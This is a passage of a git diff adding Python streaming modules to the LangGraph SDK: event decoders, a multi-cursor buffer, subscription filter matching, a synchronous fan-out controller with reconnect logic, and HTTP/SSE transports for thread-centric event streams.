forwarding and terminal-status-on-close stay at the projection / wrapper + layer. + + Args: + scope: Tuple-form namespace of this decoder's parent. `()` for root. + handle_factory: Keyword-only `(path, graph_name, trigger_call_id) -> handle`. + """ + + def __init__(self, scope: tuple[str, ...], handle_factory: Callable[..., Any]): + self._scope = scope + self._handle_factory = handle_factory + self._active: dict[tuple[str, ...], Any] = {} + self._seen: set[tuple[str, ...]] = set() + + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: + params = event.get("params") or {} + namespace = _event_namespace(params) + data = params.get("data") + if not isinstance(data, dict): + return + method = event.get("method") + + # 1. Fanout: first active child whose path prefixes this namespace. + ns_tuple = tuple(namespace) + for child_path, child_handle in self._active.items(): + child_len = len(child_path) + if len(ns_tuple) >= child_len and ns_tuple[:child_len] == child_path: + child_handle._push_event(event) + break + + # 2 + 3. Discovery / status from tasks; discovery from lifecycle. + if method == "tasks": + if "result" in data: + self._apply_tasks_result(namespace, data) + elif _is_direct_child(namespace, self._scope): + yield from self._discover(namespace) + elif ( + method == "lifecycle" + and data.get("event") == "started" + and _is_direct_child(namespace, self._scope) + ): + yield from self._discover(namespace) + + def _discover(self, namespace: list[str]) -> Iterable[Any]: + path = tuple(namespace) + if path in self._seen: + return + self._seen.add(path) + graph_name, trigger_call_id = _parse_namespace_segment(path[-1]) + handle = self._handle_factory( + path=path, + graph_name=graph_name or None, + trigger_call_id=trigger_call_id, + ) + self._active[path] = handle + yield handle + + def _apply_tasks_result(self, namespace: list[str], data: dict[str, Any]) -> None: + result_id = data.get("id") + if not result_id: + return + parent_path = tuple(namespace) + for child_path, handle in list(self._active.items()): + if child_path[:-1] != parent_path: + continue + if handle.trigger_call_id != result_id: + continue + status, error = _terminal_from_tasks_result(data) + handle._finish(status, error) + del self._active[child_path] + + +class ExtensionsDecoder: + """Yields `params.data` from one named custom channel. + + Mirrors `_ExtensionProjection._iter` (`_async/stream.py:1278-1299`), with + an added name filter so it can share one subscription in interleave. + + Args: + name: The extension name. Only `custom` events whose `data["name"]` + matches are consumed. + """ + + def __init__(self, name: str): + if not name: + raise ValueError("extension name must be non-empty.") + self._name = name + + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: + if event.get("method") != "custom": + return + params = event.get("params") or {} + data = params.get("data") + if not isinstance(data, dict): + return + if data.get("name") != self._name: + return + yield data diff --git a/libs/sdk-py/langgraph_sdk/stream/multi_cursor_buffer.py b/libs/sdk-py/langgraph_sdk/stream/multi_cursor_buffer.py new file mode 100644 index 0000000..6e0b37e --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/multi_cursor_buffer.py @@ -0,0 +1,71 @@ +"""Unbounded async-iterable append-only log with per-iterator cursors. + +Direct port of `libs/sdk/src/client/stream/multi-cursor-buffer.ts`. Each +`async for` loop gets its own cursor starting at position 0, so late +consumers still see all previously buffered items. Lifetime is bounded by +the owning projection / handle; there is no eviction policy. +""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncIterable, AsyncIterator +from typing import Generic, TypeVar + +T = TypeVar("T") + + +class MultiCursorBuffer(AsyncIterable[T], Generic[T]): + def __init__(self) -> None: + self._items: list[T] = [] + self._wakeups: set[asyncio.Future[None]] = set() + self._closed = False + + def push(self, item: T) -> None: + # Post-close pushes are accepted: cursors already terminated miss the item, + # but new cursors started later see the full log including it. Matches JS. + self._items.append(item) + self._wake_all() + + def close(self) -> None: + if self._closed: + return + self._closed = True + self._wake_all() + + def __len__(self) -> int: + return len(self._items) + + def __aiter__(self) -> AsyncIterator[T]: + return _Cursor(self) + + def _wake_all(self) -> None: + for fut in self._wakeups: + if not fut.done(): + fut.set_result(None) + self._wakeups.clear() + + +class _Cursor(Generic[T]): + def __init__(self, buffer: MultiCursorBuffer[T]) -> None: + self._buffer = buffer + self._idx = 0 + + def __aiter__(self) -> _Cursor[T]: + return self + + async def __anext__(self) -> T: + while True: + if self._idx < len(self._buffer._items): + item = self._buffer._items[self._idx] + self._idx += 1 + return item + if self._buffer._closed: + raise StopAsyncIteration + loop = asyncio.get_running_loop() + fut: asyncio.Future[None] = loop.create_future() + self._buffer._wakeups.add(fut) + try: + await fut + finally: + self._buffer._wakeups.discard(fut) diff --git a/libs/sdk-py/langgraph_sdk/stream/subscription.py b/libs/sdk-py/langgraph_sdk/stream/subscription.py new file mode 100644 index 0000000..aa8298e --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/subscription.py @@ -0,0 +1,208 @@ +"""Subscription matching: channel inference + namespace prefix filtering. + +Direct port of `libs/sdk/src/client/stream/subscription.ts` from the JS SDK. +""" + +from __future__ import annotations + +from typing import Any + +from langchain_protocol import Channel, Event, Namespace, SubscribeParams + + +def normalize_segment(segment: str) -> str: + """Strip the dynamic suffix after `:` from a namespace segment.""" + idx = segment.find(":") + return segment if idx == -1 else segment[:idx] + + +def is_prefix_match(event_namespace: Namespace, prefix: Namespace) -> bool: + """Whether `event_namespace` starts with `prefix`. + + Segments compare literally first; if the prefix segment contains no `:`, + the candidate is also compared after its dynamic suffix is stripped. + Mirrors `is_prefix_match` in `api/langgraph_api/protocol/namespace.py`. + """ + if len(prefix) > len(event_namespace): + return False + for seg, candidate in zip(prefix, event_namespace, strict=False): + if candidate == seg: + continue + if ":" in seg: + return False + if normalize_segment(candidate) == seg: + continue + return False + return True + + +def namespace_matches( + event_namespace: Namespace, + prefixes: list[Namespace] | None, + depth: int | None, +) -> bool: + """Whether `event_namespace` matches any of `prefixes` within `depth`.""" + if not prefixes: + return True + for prefix in prefixes: + if not is_prefix_match(event_namespace, prefix): + continue + if depth is None: + return True + if len(event_namespace) - len(prefix) <= depth: + return True + return False + + +_DIRECT_METHODS = { + "values", + "checkpoints", + "updates", + "messages", + "tools", + "lifecycle", + "tasks", +} + + +def infer_channel(event: Event) -> Channel | None: + """Map a protocol event's `method` to its subscription channel. + + Returns `None` for unrecognized methods so new server-side channels (e.g. + from extension transformers) don't break existing clients. + """ + method = event.get("method") + if method in _DIRECT_METHODS: + return method # type: ignore[return-value] + if method == "custom": + params = event.get("params") or {} + data = params.get("data") if isinstance(params, dict) else None + name = data.get("name") if isinstance(data, dict) else None + # JS uses != null; truthiness here treats name="" the same as missing. + return f"custom:{name}" if name else "custom" + if method == "input.requested": + return "input" + return None + + +def matches_subscription(event: Event, definition: SubscribeParams) -> bool: + """Whether `event` should be delivered for `definition`.""" + channel = infer_channel(event) + if channel is None: + return False + channels = definition.get("channels", []) + if channel not in channels and not ( + channel.startswith("custom:") and "custom" in channels + ): + return False + params = event.get("params") or {} + namespace = params.get("namespace", []) if isinstance(params, dict) else [] + return namespace_matches( + namespace, + definition.get("namespaces"), + definition.get("depth"), + ) + + +def compute_union_filter( + subscriptions: list[dict[str, Any]], +) -> dict[str, Any]: + """Aggregate a set of subscription filters into one covering filter. + + Direct port of `client/stream/index.ts:#computeUnionFilter`. + + - Channels are unioned. + - Namespaces: if any subscription omits `namespaces` (wildcard), the union + is unscoped (omits the key). Otherwise, deduplicated union. + - Depth: if any subscription omits `depth` (unbounded), the union is + unbounded (omits the key). Otherwise, take the max. `depth=0` is a + valid bounded value — never omit when all subscriptions provide it. + + Args: + subscriptions: list of `SubscribeParams`-shaped dicts. + + Returns: + A `SubscribeParams`-shaped dict covering every input. + """ + if not subscriptions: + return {"channels": []} + + channels: set[str] = set() + wildcard_namespaces = False + namespace_map: dict[tuple[str, ...], list[str]] = {} + unbounded_depth = False + max_depth = 0 + + for sub in subscriptions: + for ch in sub.get("channels", []): + channels.add(ch) + + sub_namespaces = sub.get("namespaces") + if sub_namespaces is None: + wildcard_namespaces = True + elif not wildcard_namespaces: + for ns in sub_namespaces: + namespace_map[tuple(ns)] = ns + + sub_depth = sub.get("depth") + if sub_depth is None: + unbounded_depth = True + elif not unbounded_depth and sub_depth > max_depth: + max_depth = sub_depth + + result: dict[str, Any] = {"channels": sorted(channels)} + if not wildcard_namespaces and namespace_map: + result["namespaces"] = list(namespace_map.values()) + if not unbounded_depth: + result["depth"] = max_depth + return result + + +def filter_covers(coverer: dict[str, Any], target: dict[str, Any]) -> bool: + """Whether `coverer` is a superset of `target`. + + Direct port of `client/stream/index.ts:filterCovers`. Depth coverage + accounts for namespace-prefix offset: a scoped coverer needs enough depth + to absorb the extra levels of any deeper target namespace prefix. + """ + coverer_channels = set(coverer.get("channels", [])) + for ch in target.get("channels", []): + if ch not in coverer_channels: + return False + + coverer_depth = coverer.get("depth") + target_depth = target.get("depth") + coverer_namespaces = coverer.get("namespaces") + target_namespaces = target.get("namespaces") + + # Unscoped coverer covers any namespace; depth is a simple scalar check. + if coverer_namespaces is None: + if coverer_depth is None: + return True + if target_depth is None: + return False + return target_depth <= coverer_depth + + # Scoped coverer cannot cover an unscoped target. + if target_namespaces is None: + return False + + # Each target namespace must be covered by SOME coverer namespace, + # AND the depth-with-offset must fit. + for tp in target_namespaces: + covered = False + for cp in coverer_namespaces: + if not is_prefix_match(tp, cp): + continue + if coverer_depth is None: + covered = True + break + if target_depth is None: + # target wants unbounded depth — coverer bounded can't cover. + continue + if len(tp) - len(cp) + target_depth <= coverer_depth: + covered = True + break + if not covered: + return False + return True diff --git a/libs/sdk-py/langgraph_sdk/stream/sync_controller.py b/libs/sdk-py/langgraph_sdk/stream/sync_controller.py new file mode 100644 index 0000000..165c7bf --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/sync_controller.py @@ -0,0 +1,342 @@ +"""Synchronous shared-stream fan-out controller for v3 thread streaming.""" + +from __future__ import annotations + +import contextlib +import logging +import random +import threading +import time +from dataclasses import dataclass, field +from queue import Queue as _Queue +from typing import Any + +from langchain_protocol import Event, SubscribeParams + +from langgraph_sdk.stream.subscription import compute_union_filter, filter_covers +from langgraph_sdk.stream.transport import ( + SyncEventStreamHandle, + SyncProtocolTransport, +) + +_logger = logging.getLogger(__name__) + + +_ROOT_TERMINAL_LIFECYCLE_EVENTS = frozenset({"completed", "failed"}) + + +def _is_root_terminal_lifecycle(event: Any) -> bool: + """Return True for a root-namespace lifecycle event marking run end. + + Matches the wire shape ``{method: "lifecycle", params: {namespace: [], + data: {event: "completed" | "failed"}}}``. Subgraph lifecycle events + (non-empty namespace) do not terminate the parent run. + """ + if not isinstance(event, dict): + return False + if event.get("method") != "lifecycle": + return False + params = event.get("params") or {} + if not isinstance(params, dict): + return False + if params.get("namespace") or []: + return False + data = params.get("data") or {} + if not isinstance(data, dict): + return False + return data.get("event") in _ROOT_TERMINAL_LIFECYCLE_EVENTS + + +@dataclass +class _SyncSubscription: + id: int + params: SubscribeParams + queue: _Queue[Event | None] = field(default_factory=_Queue) + # Why: using `queue.Queue` in the annotation causes ty to resolve `queue` + # as the field being defined (name shadowing), not the stdlib module. + + +_DEFAULT_RUN_START_TIMEOUT: float = 30.0 + + +class SyncStreamController: + """Owns the sync shared SSE handle, subscription registry, and fan-out thread.""" + + def __init__( + self, + transport: SyncProtocolTransport, + *, + run_start_gate: threading.Event | None = None, + run_start_timeout: float = _DEFAULT_RUN_START_TIMEOUT, + max_reconnect_attempts: int = 5, + reconnect_backoff_base: float = 0.1, + reconnect_backoff_cap: float = 10.0, + ) -> None: + self._transport = transport + self._next_subscription_id = 1 + self._subscriptions: dict[int, _SyncSubscription] = {} + self._seen_event_ids: set[str] = set() + self._shared_stream: SyncEventStreamHandle | None = None + self._shared_stream_filter: dict[str, Any] | None = None + self._fanout_thread: threading.Thread | None = None + self._closed = False + self._lock = threading.RLock() + self._cursor: int | None = None + # When None, no gate is applied and reconcile_stream proceeds immediately. + # SyncThreadStream passes an un-set Event so subscriptions wait until + # run.start completes. + self._run_start_gate = run_start_gate + self._run_start_timeout = run_start_timeout + self._max_reconnect_attempts = max_reconnect_attempts + self._reconnect_backoff_base = reconnect_backoff_base + self._reconnect_backoff_cap = reconnect_backoff_cap + self._drain_threads: set[threading.Thread] = set() + + def register_subscription(self, params: SubscribeParams) -> _SyncSubscription: + with self._lock: + sub = _SyncSubscription(id=self._next_subscription_id, params=params) + self._next_subscription_id += 1 + self._subscriptions[sub.id] = sub + return sub + + def unregister_subscription(self, subscription_id: int) -> None: + with self._lock: + self._subscriptions.pop(subscription_id, None) + + def signal_paused(self) -> None: + """Wake every active subscription iterator on interrupt (run pause). + + Pushes the terminal sentinel (`None`) into every subscription queue. + Iterators see `None` and return; the shared SSE keeps running so + re-iteration after `run.respond(...)` registers a fresh subscription + and resumes. + """ + with self._lock: + subs = list(self._subscriptions.values()) + for sub in subs: + sub.queue.put(None) + + def reconcile_stream(self, candidate_filter: SubscribeParams) -> None: + if self._run_start_gate is not None and not self._run_start_gate.wait( + timeout=self._run_start_timeout + ): + raise TimeoutError("Sync run.start gate timeout.") + with self._lock: + if ( + self._shared_stream is not None + and self._shared_stream_filter is not None + and filter_covers(self._shared_stream_filter, dict(candidate_filter)) + ): + return + new_filter = self._compute_current_union(extra=candidate_filter) + old_stream = self._shared_stream + self._shared_stream = self._transport.open_event_stream( + self._filter_with_since(new_filter) + ) + self._shared_stream_filter = new_filter + if old_stream is not None: + drain_thread = threading.Thread( + target=self._drain_and_close, + args=(old_stream,), + daemon=True, + name="langgraph-sdk-sync-rotation-drain", + ) + self._drain_threads.add(drain_thread) + drain_thread.start() + + def ensure_fanout_running(self) -> None: + with self._lock: + if self._fanout_thread is not None and self._fanout_thread.is_alive(): + return + self._fanout_thread = threading.Thread( + target=self._fanout, + name="langgraph-sdk-sync-stream-fanout", + daemon=True, + ) + self._fanout_thread.start() + + def _fanout(self) -> None: + from langgraph_sdk.stream.subscription import matches_subscription + + while True: + with self._lock: + if self._closed: + return + shared = self._shared_stream + if shared is None: + return + try: + for event in self._dedup_iter(shared.events): + with self._lock: + if self._closed: + break + subscriptions = list(self._subscriptions.values()) + for sub in subscriptions: + if matches_subscription(event, sub.params): + sub.queue.put(event) + # Root-terminal lifecycle: push `None` into all sub + # queues so projection iterators exit when the run + # ends naturally. Terminal is processed in seq order + # on the shared SSE, so in-flight values/tools/ + # messages events for this run are already queued + # before None. + if _is_root_terminal_lifecycle(event): + self.signal_paused() + except Exception: + pass # transport drop — attempt reconnect below + + with self._lock: + if self._shared_stream is not shared: + continue # rotation happened; pick up new stream + # No rotation — check if this was a transport drop + err = shared.error() + if err is not None and not self._closed: + if self._reconnect_shared_stream(): + continue + break + + with self._lock: + for sub in self._subscriptions.values(): + sub.queue.put(None) + + def _reconnect_shared_stream(self) -> bool: + with self._lock: + base_filter = self._shared_stream_filter + if base_filter is None: + return False + for _ in range(self._max_reconnect_attempts): + with self._lock: + if self._closed: + return False + params = self._filter_with_since(base_filter) + try: + new_stream = self._transport.open_event_stream(params) + except Exception: + continue + with self._lock: + self._shared_stream = new_stream + return True + return False + + def _compute_current_union( + self, extra: SubscribeParams | None = None + ) -> dict[str, Any]: + filters = [dict(sub.params) for sub in self._subscriptions.values()] + if extra is not None: + filters.append(dict(extra)) + # Always include lifecycle in the shared SSE filter so `_fanout` + # sees root-terminal events in seq order with the projection + # events. See `_is_root_terminal_lifecycle`. + filters.append({"channels": ["lifecycle"]}) + return compute_union_filter(filters) + + def observe_applied_through_seq(self, seq: Any) -> None: + """Advance the reconnect cursor from a command response meta sequence.""" + with self._lock: + self._observe_seq(seq) + + def _observe_event(self, event: Event) -> None: + with self._lock: + self._observe_seq(event.get("seq")) + + def _observe_seq(self, seq: Any) -> None: + if isinstance(seq, int) and (self._cursor is None or seq > self._cursor): + self._cursor = seq + + def _filter_with_since(self, params: dict[str, Any]) -> dict[str, Any]: + out = dict(params) + if self._cursor is not None: + out["since"] = self._cursor + return out + + def _dedup_iter(self, source: Any) -> Any: + for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + continue + self._seen_event_ids.add(event_id) + self._observe_event(event) + yield event + + def _drain_and_close(self, handle: SyncEventStreamHandle) -> None: + """Drain remaining events from an old handle before closing it. + + Runs in a background thread spawned by `reconcile_stream` on rotation + so buffered events are not lost when the shared stream is replaced. + Events are dispatched to subscribers regardless of `_closed` so that + already-buffered events reach consumers before the handle is closed. + """ + from langgraph_sdk.stream.subscription import matches_subscription + + try: + for event in self._dedup_iter(handle.events): + with self._lock: + subscriptions = list(self._subscriptions.values()) + for sub in subscriptions: + if matches_subscription(event, sub.params): + sub.queue.put(event) + except Exception as err: + _logger.debug("rotation drain exception: %r", err) + finally: + with contextlib.suppress(Exception): + handle.close() + with self._lock: + self._drain_threads.discard(threading.current_thread()) + + def _reconnect_sleep(self, attempt: int) -> None: + """Sleep with exponential backoff + jitter before a reconnect attempt.""" + base = self._reconnect_backoff_base + cap = self._reconnect_backoff_cap + delay = min(cap, base * (2**attempt)) + jitter = random.uniform(0, delay * 0.25) + time.sleep(delay + jitter) + + def _reconnect_shared_stream(self) -> bool: + """Attempt to reopen the shared stream after a transport drop. + + Returns True if a new stream was successfully opened, False if all + reconnect attempts were exhausted or the controller was closed. + """ + base_filter = self._shared_stream_filter + if base_filter is None: + return False + for attempt in range(self._max_reconnect_attempts): + if self._closed: + return False + if attempt > 0: + self._reconnect_sleep(attempt - 1) + try: + new_handle = self._transport.open_event_stream( + self._filter_with_since(base_filter) + ) + old = self._shared_stream + self._shared_stream = new_handle + if old is not None: + with contextlib.suppress(Exception): + old.close() + return True + except Exception as err: + _logger.debug("sync reconnect attempt %d failed: %r", attempt, err) + return False + + def close(self) -> None: + with self._lock: + if self._closed: + return + self._closed = True + shared = self._shared_stream + for sub in self._subscriptions.values(): + sub.queue.put(None) + if shared is not None: + shared.close() + thread = self._fanout_thread + if thread is not None and thread.is_alive(): + with contextlib.suppress(RuntimeError): + thread.join(timeout=1.0) + with self._lock: + drain_threads = set(self._drain_threads) + for drain in drain_threads: + if drain.is_alive(): + with contextlib.suppress(RuntimeError): + drain.join(timeout=1.0) diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/__init__.py b/libs/sdk-py/langgraph_sdk/stream/transport/__init__.py new file mode 100644 index 0000000..9d936d0 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/__init__.py @@ -0,0 +1,27 @@ +"""Public exports for the v3 streaming transport layer.""" + +from langgraph_sdk.stream.transport.base import ( + AsyncProtocolTransport, + EventStreamHandle, + SyncEventStreamHandle, + SyncProtocolTransport, + build_event_stream_body, + build_websocket_url, +) +from langgraph_sdk.stream.transport.http import ProtocolSseTransport +from langgraph_sdk.stream.transport.sync_http import SyncProtocolSseTransport +from langgraph_sdk.stream.transport.sync_ws import SyncProtocolWebSocketTransport +from langgraph_sdk.stream.transport.ws import ProtocolWebSocketTransport + +__all__ = [ + "AsyncProtocolTransport", + "EventStreamHandle", + "ProtocolSseTransport", + "ProtocolWebSocketTransport", + "SyncEventStreamHandle", + "SyncProtocolSseTransport", + "SyncProtocolTransport", + "SyncProtocolWebSocketTransport", + "build_event_stream_body", + "build_websocket_url", +] diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/base.py b/libs/sdk-py/langgraph_sdk/stream/transport/base.py new file mode 100644 index 0000000..f3eef86 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/base.py @@ -0,0 +1,79 @@ +"""Shared transport contracts for v3 thread-centric streaming.""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncIterator, Awaitable, Callable, Iterator, Mapping +from dataclasses import dataclass +from typing import Any, Protocol + +import httpx +from langchain_protocol import Event + + +@dataclass +class EventStreamHandle: + """Handle for one async filtered event stream.""" + + events: AsyncIterator[Event] + ready: asyncio.Future[None] + done: asyncio.Future[BaseException | None] + close: Callable[[], Awaitable[None]] + + +@dataclass +class SyncEventStreamHandle: + """Handle for one sync filtered event stream.""" + + events: Iterator[Event] + error: Callable[[], BaseException | None] + close: Callable[[], None] + + +class AsyncProtocolTransport(Protocol): + """Protocol implemented by async SSE and WebSocket transports.""" + + thread_id: str + + async def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: ... + + def open_event_stream(self, params: dict[str, Any]) -> EventStreamHandle: ... + + async def close(self) -> None: ... + + +class SyncProtocolTransport(Protocol): + """Protocol implemented by sync SSE and WebSocket transports.""" + + thread_id: str + + def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: ... + + def open_event_stream(self, params: dict[str, Any]) -> SyncEventStreamHandle: ... + + def close(self) -> None: ... + + +def build_event_stream_body(params: dict[str, Any]) -> dict[str, Any]: + body: dict[str, Any] = {"channels": params["channels"]} + if params.get("namespaces") is not None: + body["namespaces"] = params["namespaces"] + if params.get("depth") is not None: + body["depth"] = params["depth"] + since = params.get("since") + if isinstance(since, int): + body["since"] = since + return body + + +def build_websocket_url(base_url: httpx.URL, path: str) -> str: + """Convert an HTTP base URL plus API path into a WebSocket URL.""" + scheme = "wss" if base_url.scheme == "https" else "ws" + base_path = base_url.path.rstrip("/") + stream_path = path if path.startswith("/") else f"/{path}" + full_path = f"{base_path}{stream_path}" if base_path else stream_path + return str(base_url.copy_with(scheme=scheme, path=full_path, query=None)) + + +def websocket_headers(headers: Mapping[str, str] | None) -> list[tuple[str, str]]: + return list(dict(headers or {}).items()) diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/http.py b/libs/sdk-py/langgraph_sdk/stream/transport/http.py new file mode 100644 index 0000000..501bc41 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/http.py @@ -0,0 +1,199 @@ +"""HTTP/SSE transport for the v3 thread-centric protocol. + +Direct port of `libs/sdk/src/client/stream/transport/http.ts`. + +`ProtocolSseTransport` is bound to a single `thread_id` at construction. Commands +go to `POST /threads/{thread_id}/commands` (JSON in, JSON out). Each +`open_event_stream(params)` opens an independent filtered SSE connection at +`POST /threads/{thread_id}/stream/events` with the `SubscribeParams` in the +request body. +""" + +from __future__ import annotations + +import asyncio +import contextlib +from collections.abc import AsyncIterator, Mapping +from typing import Any, cast + +import httpx +import orjson +from langchain_protocol import Event + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.sse import BytesLineDecoder, SSEDecoder +from langgraph_sdk.stream.transport.base import ( + EventStreamHandle, + build_event_stream_body, +) + +_build_event_stream_body = build_event_stream_body + + +class ProtocolSseTransport: + """v3 protocol transport bound to a single `thread_id`. + + Commands go to `POST /threads/{thread_id}/commands` (JSON in, JSON out). + `open_event_stream` opens filtered SSE streams against + `POST /threads/{thread_id}/stream/events`. + """ + + def __init__( + self, + *, + client: httpx.AsyncClient, + thread_id: str, + commands_path: str | None = None, + stream_path: str | None = None, + headers: Mapping[str, str] | None = None, + max_queue_size: int = 1024, + ) -> None: + self._client = client + self.thread_id = thread_id + self._commands_url = ( + commands_path or f"/threads/{_quote_path_param(thread_id)}/commands" + ) + self._stream_url = ( + stream_path or f"/threads/{_quote_path_param(thread_id)}/stream/events" + ) + self._default_headers: dict[str, str] = dict(headers or {}) + self._max_queue_size = max_queue_size + self._closed = False + self._event_streams: set[asyncio.Task[None]] = set() + + async def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: + """POST a command. Returns the response JSON, or `None` for 202/204. + + Raises: + httpx.HTTPStatusError: server returned >= 400. + RuntimeError: the transport has been closed via `close()`. + RuntimeError: server returned a response missing the protocol envelope. + """ + if self._closed: + raise RuntimeError("Protocol transport is closed.") + # Merge default headers first so content-type always wins. + merged_headers = {**self._default_headers, "content-type": "application/json"} + response = await self._client.post( + self._commands_url, + content=orjson.dumps(command), + headers=merged_headers, + ) + response.raise_for_status() + if response.status_code in (202, 204): + return None + if not response.content: + raise RuntimeError("Protocol command did not return a valid response.") + try: + payload = orjson.loads(response.content) + except orjson.JSONDecodeError as err: + raise RuntimeError( + "Protocol command did not return a valid response." + ) from err + if not isinstance(payload, dict) or "id" not in payload: + raise RuntimeError("Protocol command did not return a valid response.") + return payload + + def open_event_stream(self, params: dict[str, Any]) -> EventStreamHandle: + """Open an independent filtered SSE event stream. + + Posts `params` as a SubscribeParams body to `/threads/{thread_id}/stream/events`. + Returns an `EventStreamHandle` whose `events` async iterator yields typed + `Event` dicts as the server emits them. `handle.ready` resolves on a 2xx + response (rejects on HTTP error or transport failure before headers). + + Reconnect: pass `params["since"]` to filter outbound seqs server-side. The + cursor goes in the request body, not as a `Last-Event-ID` header. + """ + if self._closed: + raise RuntimeError("Protocol transport is closed.") + + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + done: asyncio.Future[BaseException | None] = loop.create_future() + queue: asyncio.Queue[Event | None] = asyncio.Queue(maxsize=self._max_queue_size) + cancel_event = asyncio.Event() + + async def pump() -> None: + try: + # Merge default headers first so fixed SSE headers always win. + sse_headers = { + **self._default_headers, + "content-type": "application/json", + "accept": "text/event-stream", + "cache-control": "no-store", + } + async with self._client.stream( + "POST", + self._stream_url, + content=orjson.dumps(build_event_stream_body(params)), + headers=sse_headers, + ) as response: + response.raise_for_status() + if not ready.done(): + ready.set_result(None) + line_decoder = BytesLineDecoder() + sse_decoder = SSEDecoder() + async for chunk in response.aiter_bytes(): + if cancel_event.is_set(): + break + for line in line_decoder.decode(chunk): + part = sse_decoder.decode(bytes(line)) + if part is None: + continue + if isinstance(part.data, dict): + await queue.put(cast("Event", part.data)) + # Drain any trailing buffered line, then fire any pending event. + if not cancel_event.is_set(): + for line in line_decoder.flush(): + part = sse_decoder.decode(bytes(line)) + if part is not None and isinstance(part.data, dict): + await queue.put(cast("Event", part.data)) + part = sse_decoder.decode(b"") + if part is not None and isinstance(part.data, dict): + await queue.put(cast("Event", part.data)) + except asyncio.CancelledError as err: + if not done.done(): + done.set_result(err) + raise + except BaseException as err: + if not ready.done(): + ready.set_exception(err) + if not done.done(): + done.set_result(err) + finally: + if not done.done(): + done.set_result(None) + await queue.put(None) # sentinel: end of stream + + task = asyncio.create_task(pump()) + self._event_streams.add(task) + task.add_done_callback(self._event_streams.discard) + + async def aiter() -> AsyncIterator[Event]: + while True: + item = await queue.get() + if item is None or cancel_event.is_set(): + return + yield item + + async def close() -> None: + cancel_event.set() + # Why: pump may be mid-`finally`; ensure consumer unblocks. + queue.put_nowait(None) + task.cancel() + with contextlib.suppress(asyncio.CancelledError, Exception): + await task + + return EventStreamHandle(events=aiter(), ready=ready, done=done, close=close) + + async def close(self) -> None: + """Cancel any open event streams and mark the transport closed. Idempotent.""" + if self._closed: + return + self._closed = True + tasks = list(self._event_streams) + for task in tasks: + task.cancel() + if tasks: + with contextlib.suppress(Exception, asyncio.CancelledError): + await asyncio.gather(*tasks, return_exceptions=True) diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/sync_http.py b/libs/sdk-py/langgraph_sdk/stream/transport/sync_http.py new file mode 100644 index 0000000..c60abe8 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/sync_http.py @@ -0,0 +1,136 @@ +"""Synchronous HTTP/SSE transport for the v3 thread-centric protocol.""" + +from __future__ import annotations + +import contextlib +from collections.abc import Iterator, Mapping +from typing import Any, cast + +import httpx +import orjson +from langchain_protocol import Event + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.sse import BytesLineDecoder, SSEDecoder +from langgraph_sdk.stream.transport.base import ( + SyncEventStreamHandle, + build_event_stream_body, +) + + +class SyncProtocolSseTransport: + """Sync v3 protocol transport bound to one thread id.""" + + def __init__( + self, + *, + client: httpx.Client, + thread_id: str, + commands_path: str | None = None, + stream_path: str | None = None, + headers: Mapping[str, str] | None = None, + ) -> None: + self._client = client + self.thread_id = thread_id + self._commands_url = ( + commands_path or f"/threads/{_quote_path_param(thread_id)}/commands" + ) + self._stream_url = ( + stream_path or f"/threads/{_quote_path_param(thread_id)}/stream/events" + ) + self._default_headers: dict[str, str] = dict(headers or {}) + self._closed = False + self._open_responses: list[httpx.Response] = [] + + def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + merged_headers = {**self._default_headers, "content-type": "application/json"} + response = self._client.post( + self._commands_url, + content=orjson.dumps(command), + headers=merged_headers, + ) + response.raise_for_status() + if response.status_code in (202, 204): + return None + payload = orjson.loads(response.content) + if not isinstance(payload, dict) or "id" not in payload: + raise RuntimeError("Protocol command did not return a valid response.") + return payload + + def open_event_stream(self, params: dict[str, Any]) -> SyncEventStreamHandle: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + sse_headers = { + **self._default_headers, + "content-type": "application/json", + "accept": "text/event-stream", + "cache-control": "no-store", + } + request = self._client.build_request( + "POST", + self._stream_url, + content=orjson.dumps(build_event_stream_body(params)), + headers=sse_headers, + ) + stream_cm = self._client.send(request, stream=True) + stream_cm.raise_for_status() + content_type = stream_cm.headers.get("content-type", "").partition(";")[0] + if "text/event-stream" not in content_type: + stream_cm.close() + raise httpx.TransportError( + "Expected response header Content-Type to contain " + f"'text/event-stream', got {content_type!r}" + ) + self._open_responses.append(stream_cm) + closed = False + stream_error: BaseException | None = None + + def events() -> Iterator[Event]: + nonlocal stream_error + line_decoder = BytesLineDecoder() + sse_decoder = SSEDecoder() + try: + for chunk in stream_cm.iter_bytes(): + if closed: + return + for line in line_decoder.decode(chunk): + part = sse_decoder.decode(bytes(line)) + if part is not None and isinstance(part.data, dict): + yield cast("Event", part.data) + for line in line_decoder.flush(): + part = sse_decoder.decode(bytes(line)) + if part is not None and isinstance(part.data, dict): + yield cast("Event", part.data) + part = sse_decoder.decode(b"") + if part is not None and isinstance(part.data, dict): + yield cast("Event", part.data) + except BaseException as exc: + if not closed: + stream_error = exc + raise + finally: + with contextlib.suppress(ValueError): + self._open_responses.remove(stream_cm) + stream_cm.close() + + def error() -> BaseException | None: + return stream_error + + def close() -> None: + nonlocal closed + closed = True + with contextlib.suppress(Exception): + stream_cm.close() + + return SyncEventStreamHandle(events=events(), error=error, close=close) + + def close(self) -> None: + if self._closed: + return + self._closed = True + for response in 